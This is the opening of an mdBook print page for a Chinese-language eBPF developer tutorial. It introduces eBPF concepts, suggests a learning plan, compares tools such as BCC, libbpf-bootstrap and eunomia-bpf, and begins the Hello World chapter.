Files
bpf-developer-tutorial/print.html

9264 lines
710 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE HTML>
<html lang="en" class="sidebar-visible no-js light">
<head>
<!-- Book generated using mdBook -->
<meta charset="UTF-8">
<title>bpf-developer-tutorial</title>
<meta name="robots" content="noindex" />
<!-- Custom HTML head -->
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#ffffff" />
<link rel="icon" href="favicon.svg">
<link rel="shortcut icon" href="favicon.png">
<link rel="stylesheet" href="css/variables.css">
<link rel="stylesheet" href="css/general.css">
<link rel="stylesheet" href="css/chrome.css">
<link rel="stylesheet" href="css/print.css" media="print">
<!-- Fonts -->
<link rel="stylesheet" href="FontAwesome/css/font-awesome.css">
<link rel="stylesheet" href="fonts/fonts.css">
<!-- Highlight.js Stylesheets -->
<link rel="stylesheet" href="highlight.css">
<link rel="stylesheet" href="tomorrow-night.css">
<link rel="stylesheet" href="ayu-highlight.css">
<!-- Custom theme stylesheets -->
</head>
<body>
<div id="body-container">
<!-- Provide site root to javascript -->
<script>
var path_to_root = "";
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "navy" : "light";
</script>
<!-- Work around some values being stored in localStorage wrapped in quotes -->
<script>
try {
var theme = localStorage.getItem('mdbook-theme');
var sidebar = localStorage.getItem('mdbook-sidebar');
if (theme.startsWith('"') && theme.endsWith('"')) {
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
}
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
}
} catch (e) { }
</script>
<!-- Set the theme before any content is loaded, prevents flash -->
<script>
var theme;
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
if (theme === null || theme === undefined) { theme = default_theme; }
var html = document.querySelector('html');
html.classList.remove('no-js')
html.classList.remove('light')
html.classList.add(theme);
html.classList.add('js');
</script>
<!-- Hide / unhide sidebar before it is displayed -->
<script>
var html = document.querySelector('html');
var sidebar = null;
if (document.body.clientWidth >= 1080) {
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
sidebar = sidebar || 'visible';
} else {
sidebar = 'hidden';
}
html.classList.remove('sidebar-visible');
html.classList.add("sidebar-" + sidebar);
</script>
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
<div class="sidebar-scrollbox">
<ol class="chapter"><li class="chapter-item expanded affix "><li class="part-title">eBPF 实践教程:基于 libbpf 和 CO-RE</li><li class="chapter-item expanded "><a href="0-introduce/index.html"><strong aria-hidden="true">1.</strong> 介绍 eBPF 的基本概念、常见的开发工具</a></li><li class="chapter-item expanded "><a href="1-helloworld/index.html"><strong aria-hidden="true">2.</strong> eBPF Hello World基本框架和开发流程</a></li><li class="chapter-item expanded "><a href="2-kprobe-unlink/index.html"><strong aria-hidden="true">3.</strong> 使用 kprobe 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="3-fentry-unlink/index.html"><strong aria-hidden="true">4.</strong> 使用 fentry 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="4-opensnoop/index.html"><strong aria-hidden="true">5.</strong> 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid</a></li><li class="chapter-item expanded "><a href="5-uprobe-bashreadline/index.html"><strong aria-hidden="true">6.</strong> 使用 uprobe 捕获 bash 的 readline 函数调用</a></li><li class="chapter-item expanded "><a href="6-sigsnoop/index.html"><strong aria-hidden="true">7.</strong> 捕获进程发送信号的系统调用集合,使用 hash map 保存状态</a></li><li class="chapter-item expanded "><a href="7-execsnoop/index.html"><strong aria-hidden="true">8.</strong> 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="8-exitsnoop/index.html"><strong aria-hidden="true">9.</strong> 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="9-runqlat/index.html"><strong aria-hidden="true">10.</strong> 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度</a></li><li class="chapter-item expanded "><a href="10-hardirqs/index.html"><strong aria-hidden="true">11.</strong> 使用 hardirqs 或 softirqs 捕获中断事件</a></li><li class="chapter-item expanded "><a href="11-bootstrap/index.html"><strong aria-hidden="true">12.</strong> 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用</a></li><li class="chapter-item expanded "><a href="13-tcpconnlat/index.html"><strong aria-hidden="true">13.</strong> 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时</a></li><li class="chapter-item expanded "><a href="14-tcpstates/index.html"><strong aria-hidden="true">14.</strong> 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT</a></li><li class="chapter-item expanded "><a href="15-javagc/index.html"><strong aria-hidden="true">15.</strong> 使用 USDT 捕获用户态 Java GC 事件耗时</a></li><li class="chapter-item expanded "><a href="16-memleak/index.html"><strong aria-hidden="true">16.</strong> 编写 eBPF 程序 Memleak 监控内存泄漏</a></li><li class="chapter-item expanded "><a href="17-biopattern/index.html"><strong aria-hidden="true">17.</strong> 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O</a></li><li class="chapter-item expanded "><a href="18-further-reading/index.html"><strong aria-hidden="true">18.</strong> 更多的参考资料</a></li><li class="chapter-item expanded "><a href="19-lsm-connect/index.html"><strong aria-hidden="true">19.</strong> 使用 LSM 进行安全检测防御</a></li><li class="chapter-item expanded "><a href="20-tc/index.html"><strong aria-hidden="true">20.</strong> 使用 eBPF 进行 tc 流量控制</a></li><li class="chapter-item expanded affix "><li class="part-title">eBPF 高级特性与进阶主题</li><li class="chapter-item expanded "><a href="22-android/index.html"><strong aria-hidden="true">21.</strong> 在 Android 上使用 eBPF 程序</a></li><li class="chapter-item expanded "><a href="23-http/index.html"><strong aria-hidden="true">22.</strong> 使用 eBPF 追踪 HTTP 请求或其他七层协议</a></li><li class="chapter-item expanded "><a href="30-sslsniff/index.html"><strong aria-hidden="true">23.</strong> 使用 uprobe 捕获多种库的 SSL/TLS 明文数据</a></li><li class="chapter-item expanded "><a href="29-sockops/index.html"><strong aria-hidden="true">24.</strong> 使用 sockops 加速网络请求转发</a></li><li class="chapter-item expanded "><a href="24-hide/index.html"><strong aria-hidden="true">25.</strong> 使用 eBPF 隐藏进程或文件信息</a></li><li class="chapter-item expanded "><a href="25-signal/index.html"><strong aria-hidden="true">26.</strong> 使用 bpf_send_signal 发送信号终止进程</a></li><li class="chapter-item expanded "><a href="26-sudo/index.html"><strong aria-hidden="true">27.</strong> 使用 eBPF 添加 sudo 用户</a></li><li class="chapter-item expanded "><a href="27-replace/index.html"><strong aria-hidden="true">28.</strong> 使用 eBPF 替换任意程序读取或写入的文本</a></li><li class="chapter-item expanded "><a href="28-detach/index.html"><strong aria-hidden="true">29.</strong> BPF的生命周期使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序</a></li><li class="chapter-item expanded "><a href="30-sslsniff/index.html"><strong aria-hidden="true">30.</strong> 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据</a></li><li class="chapter-item expanded affix "><li class="part-title">bcc tutorial</li><li class="chapter-item expanded "><a href="bcc-documents/kernel-versions.html"><strong aria-hidden="true">31.</strong> BPF Features by Linux Kernel Version</a></li><li class="chapter-item expanded "><a href="bcc-documents/kernel_config.html"><strong aria-hidden="true">32.</strong> Kernel Configuration for BPF Features</a></li><li class="chapter-item expanded "><a href="bcc-documents/reference_guide.html"><strong aria-hidden="true">33.</strong> bcc Reference Guide</a></li><li class="chapter-item expanded "><a href="bcc-documents/special_filtering.html"><strong aria-hidden="true">34.</strong> Special Filtering</a></li><li class="chapter-item expanded "><a href="bcc-documents/tutorial.html"><strong aria-hidden="true">35.</strong> bcc Tutorial</a></li><li class="chapter-item expanded "><a href="bcc-documents/tutorial_bcc_python_developer.html"><strong aria-hidden="true">36.</strong> bcc Python Developer Tutorial</a></li></ol>
</div>
<div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
</nav>
<!-- Track and set sidebar scroll position -->
<script>
var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
sidebarScrollbox.addEventListener('click', function(e) {
if (e.target.tagName === 'A') {
sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
}
}, { passive: true });
var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
sessionStorage.removeItem('sidebar-scroll');
if (sidebarScrollTop) {
// preserve sidebar scroll position when navigating via links within sidebar
sidebarScrollbox.scrollTop = sidebarScrollTop;
} else {
// scroll sidebar to current active section when navigating via "next/previous chapter" buttons
var activeSection = document.querySelector('#sidebar .active');
if (activeSection) {
activeSection.scrollIntoView({ block: 'center' });
}
}
</script>
<div id="page-wrapper" class="page-wrapper">
<div class="page">
<div id="menu-bar-hover-placeholder"></div>
<div id="menu-bar" class="menu-bar sticky">
<div class="left-buttons">
<button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
<i class="fa fa-bars"></i>
</button>
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
<i class="fa fa-paint-brush"></i>
</button>
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
</ul>
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
<i class="fa fa-search"></i>
</button>
</div>
<h1 class="menu-title">bpf-developer-tutorial</h1>
<div class="right-buttons">
<a href="print.html" title="Print this book" aria-label="Print this book">
<i id="print-button" class="fa fa-print"></i>
</a>
</div>
</div>
<div id="search-wrapper" class="hidden">
<form id="searchbar-outer" class="searchbar-outer">
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
</form>
<div id="searchresults-outer" class="searchresults-outer hidden">
<div id="searchresults-header" class="searchresults-header"></div>
<ul id="searchresults">
</ul>
</div>
</div>
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
<script>
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
});
</script>
<div id="content" class="content">
<main>
<h1 id="ebpf-入门开发实践教程零介绍-ebpf-的基本概念常见的开发工具"><a class="header" href="#ebpf-入门开发实践教程零介绍-ebpf-的基本概念常见的开发工具">eBPF 入门开发实践教程零:介绍 eBPF 的基本概念、常见的开发工具</a></h1>
<h2 id="1-ebpf简介安全和有效地扩展内核"><a class="header" href="#1-ebpf简介安全和有效地扩展内核">1. eBPF简介安全和有效地扩展内核</a></h2>
<p>eBPF 是一项革命性的技术,起源于 Linux 内核可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序应用程序开发人员可以在运行时可编程地向操作系统动态添加额外的功能。然后操作系统保证安全和执行效率就像在即时编译JIT编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的,并且可以自动更新,从而避免了工作负载中断和节点重启。</p>
<p>今天eBPF被广泛用于各类场景在现代数据中心和云原生环境中可以提供高性能的网络包处理和负载均衡以非常低的资源开销做到对多种细粒度指标的可观测性帮助应用程序开发人员跟踪应用程序为性能故障排除提供洞察力保障应用程序和容器运行时的安全执行等等。可能性是无穷的而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。</p>
<h3 id="ebpf-的未来内核的-javascript-可编程接口"><a class="header" href="#ebpf-的未来内核的-javascript-可编程接口">eBPF 的未来:内核的 JavaScript 可编程接口</a></h3>
<p>对于浏览器而言JavaScript 的引入带来的可编程性开启了一场巨大的革命,使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF为了理解 eBPF 对 Linux 内核的可编程性影响,对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。</p>
<p><img src="0-introduce/kernel-arch.png" alt="kernel-arch" /></p>
<p>Linux 内核的主要目的是抽象出硬件或虚拟硬件并提供一个一致的API系统调用允许应用程序运行和共享资源。为了实现这个目的我们维护了一系列子系统和层以分配这些责任[5]。每个子系统通常允许某种程度的配置,以考虑到用户的不同需求。如果不能配置所需的行为,就需要改变内核,从历史上看,改变内核的行为,或者让用户编写的程序能够在内核中运行,就有两种选择:</p>
<div class="table-wrapper"><table><thead><tr><th>本地支持内核模块</th><th>写一个内核模块</th></tr></thead><tbody>
<tr><td>改变内核源代码并说服Linux内核社区相信这种改变是必要的。等待几年让新的内核版本成为一种商品。</td><td>定期修复它因为每个内核版本都可能破坏它。由于缺乏安全边界冒着破坏你的Linux内核的风险</td></tr>
</tbody></table>
</div>
<p>实际上,两种方案都不常用,前者成本太高,后者则几乎没有可移植性。</p>
<p>有了 eBPF就有了一个新的选择可以重新编程 Linux 内核的行为,而不需要改变内核的源代码或加载内核模块,同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的eBPF 程序也需要有一套对应的 API允许用户定义的应用程序运行和共享资源 --- 换句话说,某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制,借助 eBPF 和用户态通信的机制Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权,一方面能可编程地扩展传统的系统调用的能力,另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。</p>
<p><img src="0-introduce/new-os-model.png" alt="new-os" /></p>
<p>正如上图所示,当今的 Linux 内核正在向一个新的内核模型演化:用户定义的应用程序可以在内核态和用户态同时执行,用户态通过传统的系统调用访问系统资源,内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初,内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口,涵盖了非常多的应用场景。</p>
<p>值得注意的是BPF Helper Call 和系统调用二者并不是竞争关系,它们的编程模型和有性能优势的场景完全不同,也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说,情况也类似,专门设计的 wasi 接口需要经历一个漫长的标准化过程,但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证,而 eBPF 在保证沙箱本质和可移植性的前提下,可以提供一个快速灵活的扩展系统接口的方案。</p>
<p>目前的 eBPF 仍然处于早期阶段,但是借助当前 eBPF 提供的内核接口和用户态交互的能力,经由 Wasm-bpf 的系统接口转换Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值kprobeuprobe...以很低的代价收集和理解所有系统调用并获取所有网络操作的数据包和套接字级别的数据tracepointsocket...在网络包处理解决方案中添加额外的协议分析器并轻松地编程任何转发逻辑XDPTC...以满足不断变化的需求而无需离开Linux内核的数据包处理环境。</p>
<p>不仅如此eBPF 还有能力往用户空间任意进程的任意地址写入数据bpf_probe_write_user[7]有限度地修改内核函数的返回值bpf_override_return[8]),甚至在内核态直接执行某些系统调用[9]所幸的是eBPF 在加载进内核之前对字节码会进行严格的安全检查,确保没有内存越界等操作,同时,许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的;在 Wasm 虚拟机将字节码加载进内核之前,也可以明确选择启用或者禁用某些 eBPF 功能,以确保沙箱的安全性。</p>
<h2 id="2-关于如何学习-ebpf-相关的开发的一些建议"><a class="header" href="#2-关于如何学习-ebpf-相关的开发的一些建议">2. 关于如何学习 eBPF 相关的开发的一些建议</a></h2>
<p>本文不会对 eBPF 的原理做更详细的介绍,不过这里有一个学习规划和参考资料,也许会有一些价值:</p>
<h3 id="ebpf-入门5-7h"><a class="header" href="#ebpf-入门5-7h">eBPF 入门5-7h</a></h3>
<ul>
<li>Google 或者其他搜索引擎查找eBPF</li>
<li>询问 ChatGPT 之类的东西eBPF 是什么?</li>
</ul>
<p>推荐:</p>
<ul>
<li>阅读 ebpf 简介:<a href="https://ebpf.io/">https://ebpf.io/</a> 30min</li>
<li>简要了解一下 ebpf 内核相关文档:<a href="https://prototype-kernel.readthedocs.io/en/latest/bpf/">https://prototype-kernel.readthedocs.io/en/latest/bpf/</a> 知道有问题去哪里查询30min</li>
<li>阅读 ebpf 中文入门指南:<a href="https://www.modb.pro/db/391570">https://www.modb.pro/db/391570</a> 1h</li>
<li>有大量的参考资料:<a href="https://github.com/zoidbergwill/awesome-ebpf">https://github.com/zoidbergwill/awesome-ebpf</a> 2-3h</li>
<li>可以选自己感兴趣的 PPT 翻一翻:<a href="https://github.com/gojue/ebpf-slide">https://github.com/gojue/ebpf-slide</a> 1-2h</li>
</ul>
<p>回答三个问题:</p>
<ol>
<li>了解 eBPF 是什么东西?为啥要有这个玩意,不能用内核模块?</li>
<li>它有什么功能?能在 Linux 内核里面完成哪些事情?有哪些 eBPF 程序的类型和 helper不需要知道全部但是需要知道去哪里找</li>
<li>能拿来做什么?比如说在哪些场景中进行运用?网络、安全、可观测性?</li>
</ol>
<h3 id="了解如何开发-ebpf-程序10-15h"><a class="header" href="#了解如何开发-ebpf-程序10-15h">了解如何开发 eBPF 程序10-15h</a></h3>
<p>了解并尝试一下 eBPF 开发框架:</p>
<ul>
<li>BCC 开发各类小工具的例子:<a href="https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md">https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md</a> 跑一遍3-4h</li>
<li>libbpf 的一些例子:<a href="https://github.com/libbpf/libbpf-bootstrap">https://github.com/libbpf/libbpf-bootstrap</a> 选感兴趣的运行一下并阅读一下源代码2h</li>
<li>基于 libbpf 和 eunomia-bpf 的教程:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> (阅读 1-10 的部分3-4h</li>
</ul>
<p>其他开发框架Go 语言或者 Rust 语言请自行搜索并且尝试0-2h</p>
<p>有任何问题或者想了解的东西,不管是不是和本项目相关,都可以在本项目的 discussions 里面开始讨论。</p>
<p>回答一些问题并且进行一些尝试2-5h</p>
<ol>
<li>如何开发一个最简单的 eBPF 程序?</li>
<li>如何用 eBPF 追踪一个内核功能或函数?有很多种方法,举出对应的代码;</li>
<li>有哪些方案能通过用户态和内核态通信?如何从用户态向内核态传送信息?如何从内核态向用户态传递信息?举出代码示例;</li>
<li>编写一个你自己的 eBPF 程序,实现一个功能;</li>
<li>eBPF 程序的整个生命周期里面,分别在用户态和内核态做了哪些事情?</li>
</ol>
<h2 id="3-如何使用ebpf编程"><a class="header" href="#3-如何使用ebpf编程">3. 如何使用eBPF编程</a></h2>
<p>原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能同时eBPF 社区将 <code>bpf()</code> 等原始的系统调用进行了初步地封装,给出了<code>libbpf</code>库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的<code>samples/bpf/</code>目录下有大量Linux提供的基于<code>libbpf</code>的eBPF样例代码。</p>
<p>一个典型的基于 <code>libbpf</code> 的eBPF程序具有<code>*_kern.c</code><code>*_user.c</code>两个文件,<code>*_kern.c</code>中书写在内核中的挂载点以及处理函数,<code>*_user.c</code>中书写用户态代码,完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考<a href="https://www.bilibili.com/video/BV1f54y1h74r?spm_id_from=333.999.0.0">该视频</a>然而由于该方法仍然较难理解且入门存在一定的难度因此现阶段的eBPF程序开发大多基于一些工具比如</p>
<ul>
<li>BCC</li>
<li>BPFtrace</li>
<li>libbpf-bootstrap</li>
<li>Go eBPF library</li>
</ul>
<p>以及还有比较新的工具,例如 <code>eunomia-bpf</code>.</p>
<h2 id="编写-ebpf-程序"><a class="header" href="#编写-ebpf-程序">编写 eBPF 程序</a></h2>
<p>eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑,用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具,只需编写内核态部分的代码。</p>
<p>内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成,每个函数都有其特定的作用。可以使用的函数类型包括:</p>
<ul>
<li>kprobe插探函数在指定的内核函数前或后执行。</li>
<li>tracepoint跟踪点函数在指定的内核跟踪点处执行。</li>
<li>raw_tracepoint原始跟踪点函数在指定的内核原始跟踪点处执行。</li>
<li>xdp网络数据处理函数拦截和处理网络数据包。</li>
<li>perf_event性能事件函数用于处理内核性能事件。</li>
<li>kretprobe函数返回插探函数在指定的内核函数返回时执行。</li>
<li>tracepoint_return跟踪点函数返回在指定的内核跟踪点返回时执行。</li>
<li>raw_tracepoint_return原始跟踪点函数返回在指定的内核原始跟踪</li>
</ul>
<h3 id="bcc"><a class="header" href="#bcc">BCC</a></h3>
<p>BCC全称为BPF Compiler Collection该项目是一个python库
包含了完整的编写、编译、和加载BPF程序的工具链以及用于调试和诊断性能问题的工具。</p>
<p>自2015年发布以来BCC经过上百位贡献者地不断完善后目前已经包含了大量随时可用的跟踪工具。<a href="https://github.com/iovisor/bcc/blob/master/docs/tutorial.md">其官方项目库</a>
提供了一个方便上手的教程用户可以快速地根据教程完成BCC入门工作。</p>
<p>用户可以在BCC上使用Python、Lua等高级语言进行编程。
相较于使用C语言直接编程这些高级语言具有极大的便捷性用户只需要使用C来设计内核中的
BPF程序其余包括编译、解析、加载等工作在内均可由BCC完成。</p>
<p>然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的
eBPF程序每次执行时候都需要进行编译编译则需要用户配置相关的头文件和对应实现。在实际应用中
相信大家也会有体会编译依赖问题是一个很棘手的问题。也正是因此在本项目的开发中我们放弃了BCC
选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。</p>
<h3 id="ebpf-go-library"><a class="header" href="#ebpf-go-library">eBPF Go library</a></h3>
<p>eBPF Go库提供了一个通用的eBPF库它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理,并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的然后使用clang/LLVM编译器编译为eBPF字节码。</p>
<h3 id="libbpf"><a class="header" href="#libbpf">libbpf</a></h3>
<p><code>libbpf-bootstrap</code>是一个基于<code>libbpf</code>库的BPF开发脚手架从其
<a href="https://github.com/libbpf/libbpf-bootstrap">github</a> 上可以得到其源码。</p>
<p><code>libbpf-bootstrap</code>综合了BPF社区过去多年的实践为开发者提了一个现代化的、便捷的工作流
现了一次编译,重复使用的目的。</p>
<p>基于<code>libbpf-bootstrap</code>的BPF程序对于源文件有一定的命名规则
用于生成内核态字节码的bpf文件以<code>.bpf.c</code>结尾,用户态加载字节码的文件以<code>.c</code>结尾,且这两个文件的
前缀必须相同。</p>
<p>基于<code>libbpf-bootstrap</code>的BPF程序在编译时会先将<code>*.bpf.c</code>文件编译为
对应的<code>.o</code>文件,然后根据此文件生成<code>skeleton</code>文件,即<code>*.skel.h</code>,这个文件会包含内核态中定义的一些
数据结构,以及用于装载内核态代码的关键函数。在用户态代码<code>include</code>此文件之后调用对应的装载函数即可将
字节码装载到内核中。同样的,<code>libbpf-bootstrap</code>也有非常完备的入门教程,用户可以在<a href="https://nakryiko.com/posts/libbpf-bootstrap/">该处</a>
得到详细的入门操作介绍。</p>
<h3 id="eunomia-bpf"><a class="header" href="#eunomia-bpf">eunomia-bpf</a></h3>
<p>开发、构建和分发 eBPF 一直以来都是一个高门槛的工作,使用 BCC、bpftrace 等工具开发效率高、可移植性好,但是分发部署时需要安装 LLVM、Clang等编译环境每次运行的时候执行本地或远程编译过程资源消耗较大使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息,同时对于 eBPF 程序的分发、管理也没有很好地解决方案。</p>
<p><a href="https://github.com/eunomia-bpf/eunomia-bpf">eunomia-bpf</a> 是一个开源的 eBPF 动态加载运行时和开发工具链,是为了简化 eBPF 程序的开发、构建、分发、运行而设计的,基于 libbpf 的 CO-RE 轻量级开发框架。</p>
<p>使用 eunomia-bpf ,可以:</p>
<ul>
<li>在编写 eBPF 程序或工具时只编写内核态代码,自动获取内核态导出信息,并作为模块动态加载;</li>
<li>使用 WASM 进行用户态交互程序的开发,在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行,以及处理相关数据;</li>
<li>eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块,跨架构和内核版本进行分发,无需重新编译即可动态加载运行。</li>
</ul>
<p>eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架,大幅简化了 eBPF 程序的开发流程,在大多数时候只需编写内核态代码,即可轻松构建、打包、发布完整的 eBPF 应用,同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候,也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。</p>
<blockquote>
<ul>
<li>eunomia-bpf 项目 Github 地址: <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></li>
<li>gitee 镜像: <a href="https://gitee.com/anolis/eunomia">https://gitee.com/anolis/eunomia</a></li>
</ul>
</blockquote>
<h2 id="参考资料"><a class="header" href="#参考资料">参考资料</a></h2>
<ul>
<li>eBPF 介绍:<a href="https://ebpf.io/">https://ebpf.io/</a></li>
<li>BPF Compiler Collection (BCC)<a href="https://github.com/iovisor/bcc">https://github.com/iovisor/bcc</a></li>
<li>eunomia-bpf<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></li>
</ul>
<p>您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程一hello-world基本框架和开发流程"><a class="header" href="#ebpf-入门开发实践教程一hello-world基本框架和开发流程">eBPF 入门开发实践教程一Hello World基本框架和开发流程</a></h1>
<p>在本篇博客中我们将深入探讨eBPFExtended Berkeley Packet Filter的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。</p>
<p>本文是eBPF入门开发实践教程的第二篇我们将重点关注如何编写一个简单的eBPF程序并通过实际例子演示整个开发流程。在阅读本教程之前建议您先学习第一篇教程以便对eBPF的基本概念有个大致的了解。</p>
<p>在开发eBPF程序时有多种开发框架可供选择如 BCCBPF Compiler Collectionlibbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异,但它们的基本开发流程大致相同。在接下来的内容中,我们将深入了解这些流程,并以 Hello World 程序为例带领读者逐步掌握eBPF开发的基本技巧。</p>
<p>本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程您将掌握eBPF开发的基本知识并为后续进一步学习和实践奠定坚实的基础。</p>
<h2 id="ebpf开发环境准备与基本开发流程"><a class="header" href="#ebpf开发环境准备与基本开发流程">eBPF开发环境准备与基本开发流程</a></h2>
<p>在开始编写eBPF程序之前我们需要准备一个合适的开发环境并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。</p>
<h3 id="安装必要的软件和工具"><a class="header" href="#安装必要的软件和工具">安装必要的软件和工具</a></h3>
<p>要开发eBPF程序您需要安装以下软件和工具</p>
<ul>
<li>Linux 内核由于eBPF是内核技术因此您需要具备较新版本的Linux内核推荐4.8及以上版本以支持eBPF功能。</li>
<li>LLVM 和 Clang这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。</li>
</ul>
<p>eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。</p>
<p>当您选择了合适的开发框架后如BCCBPF Compiler Collection、libbpf、cilium/ebpf或eunomia-bpf等您可以开始进行用户态和内核态程序的开发。以BCC工具为例我们将介绍eBPF程序的基本开发流程</p>
<ol>
<li>安装BCC工具根据您的Linux发行版按照BCC官方文档的指南安装BCC工具和相关依赖。</li>
<li>编写eBPF程序C语言使用C语言编写一个简单的eBPF程序例如Hello World程序。该程序可以在内核空间执行并完成特定任务如统计网络数据包数量。</li>
<li>编写用户态程序Python或C等使用Python、C等语言编写用户态程序用于加载、运行eBPF程序以及与之交互。在这个程序中您需要使用BCC提供的API来加载和操作内核态的eBPF程序。</li>
